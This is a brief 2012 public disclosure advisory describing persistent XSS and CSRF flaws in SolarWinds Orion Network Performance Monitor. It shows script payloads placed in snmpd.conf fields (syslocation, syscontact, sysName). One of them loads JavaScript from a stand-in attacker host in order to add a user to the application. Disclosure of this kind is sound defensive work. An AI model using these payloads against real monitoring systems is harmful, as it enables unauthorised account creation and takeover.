21 Jul 2012: Public disclosure

Vulnerability Details:

SolarWinds Orion Network Performance Monitor (NPM) is vulnerable to persistent XSS when scanning a remote system containing malicious JavaScript in its snmpd.conf file. The vulnerable fields were determined to be:

syslocation <script>alert('location')</script>

syscontact <script>alert('contact')</script>

sysName <script>alert('name')</script>

In addition, NPM is also vulnerable to CSRF attacks despite the fact that it makes use of VIEWSTATE protection.

Through a combination of XSS and CSRF, a user can be added to the web application by configuring the snmpd.conf file to point to an attacker-controlled JavaScript file:

syscontact <script src="http://attacker/evil.js"></script>
